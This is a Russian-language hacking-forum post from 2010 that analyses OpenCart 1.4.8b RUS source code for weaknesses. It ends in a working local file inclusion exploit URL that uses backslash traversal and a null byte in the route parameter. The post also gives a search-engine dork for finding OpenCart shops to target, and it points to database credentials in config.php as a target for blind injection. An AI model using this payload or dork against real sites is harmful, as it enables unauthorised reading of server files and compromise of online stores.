Показать сообщение отдельно
Старый 06.07.2010, 15:02   #1
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию Уязвимости OpenCart

Версия:
OpenCart 1.4.8b RUS 0.1

Магазин: оф. сайт http://myopencart.ru/

В файле в корне config.php интересны константы:

PHP код:
 /*...*/define('DB_DRIVER''mysql');
define('DB_HOSTNAME''localhost');
define('DB_USERNAME''root');
define('DB_PASSWORD''');
define('DB_DATABASE''opencart');
define('DB_PREFIX''oc_');/*...*/ 
Мб пригодитцо(читалка, блинд посимволу и т.д)

После установки двига если install не удалена, то нет никаких варнингов, а тока упоминаетцо при установке что надо удалить.

Некоторая логика(в файле system/startup.php):
Слешы удаляютцо (когда магические включены) с массивов $_GET, $_POST, $_COOKIE.
Также переменные уничтожаютцо когда rg в on с массивов которые выше зазначены + $_SESSION, $_SERVER, $_FILES .
$_SERVER['REQUEST_URI'] присваиваетцо строка с параметрами если установлена query_string.
подключения с \engine(абстрактные и финальные класы!) и \library(аналогично!)
Объект в этих подключаемых файлах не создаютцо.

Интересный файл request.php:
в конструкторе класа request массивы переприсваиваютцо, а именно: $_GET,$_POST,$_COOKIE,$_FILES, $_SERVER и присваиваютцо определенным свойствам класа.
Ключи и значения преобразовываютцо функцией htmlspecialchars в режиме ENT_COMPAT с 8-битным Unicode, совместимым с ASCII. .
А как известно одинарная кавычка остаетцо бес изменений в ENT_COMPAT, тоесть возвожны уязвимости.

Смотримс далее:
в index.php остальные файлы с \library покдключаютцо (класы), объекты еще не создаютцо.

далее в index.php создаютцо обьекты...

Дорк:
intext:"Работает на: OpenCart"

Такс, хватит воды!

LFI (ось win)

system/library/request.php
PHP код:
 final class Request {
    public 
$get = array();
    public 
$post = array();
    public 
$cookie = array();
    public 
$files = array();
    public 
$server = array();
    
      public function 
__construct() {
        
$_GET $this->clean($_GET);
        
$_POST $this->clean($_POST);
        
$_COOKIE $this->clean($_COOKIE);
        
$_FILES $this->clean($_FILES);
        
$_SERVER $this->clean($_SERVER);
        
        
$this->get $_GET;
        
$this->post $_POST;
        
$this->cookie $_COOKIE;
        
$this->files $_FILES;
        
$this->server $_SERVER;
    }
    
      public function 
clean($data) {
        if (
is_array($data)) {
              foreach (
$data as $key => $value) {
                unset(
$data[$key]);
                
                
$data[$this->clean($key)] = $this->clean($value);
              }
        } else { 
              
$data htmlspecialchars($dataENT_COMPAT'UTF-8');
        }

        return 
$data;
    }

index.php
PHP код:
 /*...*/
// Front Controller
$controller = new Front($registry);

// Maintenance Mode
$controller->addPreAction(new Action('common/maintenance/check'));

// SEO URL's
$controller->addPreAction(new Action('common/seo_url'))


// Router
if (isset($request->get['route'])) {
    
$action = new Action($request->get['route']);
} else {
    
$action = new Action('common/home');
}

// Dispatch
$controller->dispatch($action, new Action('error/not_found'));

// Output
$response->output(); 
system/engine/action.php
PHP код:
/*...*/
public function __construct($route$args = array()) {
        
$path '';
        
        
$parts explode('/'str_replace('../'''$route));
        
        foreach (
$parts as $part) { 
            
$path .= $part;
            
            if (
is_dir(DIR_APPLICATION 'controller/' $path)) {
                
$path .= '/';
                
                
array_shift($parts);
                
                continue;
            }
            
            if (
is_file(DIR_APPLICATION 'controller/' str_replace('../'''$path) . '.php')) {
                
$this->file DIR_APPLICATION 'controller/' str_replace('../'''$path) . '.php';
                
                
$this->class 'Controller' preg_replace('/[^a-zA-Z0-9]/'''$path);

                
array_shift($parts);
/*...*/ 
system/engine/front.php
PHP код:
 /*...*/
public function dispatch($action$error) {
        
$this->error $error;
            
        foreach (
$this->pre_action as $pre_action) {
            
$result $this->execute($pre_action);
                    
            if (
$result) {
                
$action $result;
                
                break;
            }
        }
            
        while (
$action) {
            
$action $this->execute($action);
        }
      }
    
    private function 
execute($action) {
        
$file   $action->getFile();
        
$class  $action->getClass();
        
$method $action->getMethod();
        
$args   $action->getArgs();

        
$action '';

        if (
file_exists($file)) {
            require_once(
$file);

            
$controller = new $class($this->registry);
            
            if (
is_callable(array($controller$method))) {
                
$action call_user_func_array(array($controller$method), $args);
            } else {
                
$action $this->error;
            
                
$this->error '';
            }
        } else {
            
$action $this->error;
            
            
$this->error '';
        }
        
        return 
$action;
    }

Мы находимсо в catalog\controller, а "постфикс" надо отбрасывать.

Exploit:
http://localhost/opencart_1.4.8b_rus_0.1/?route=..\..\.htaccess.txt%00

Нулл-байт сработал у мну при mg=on => 1 условие: ОС Win.
Strilo4ka вне форума   Ответить с цитированием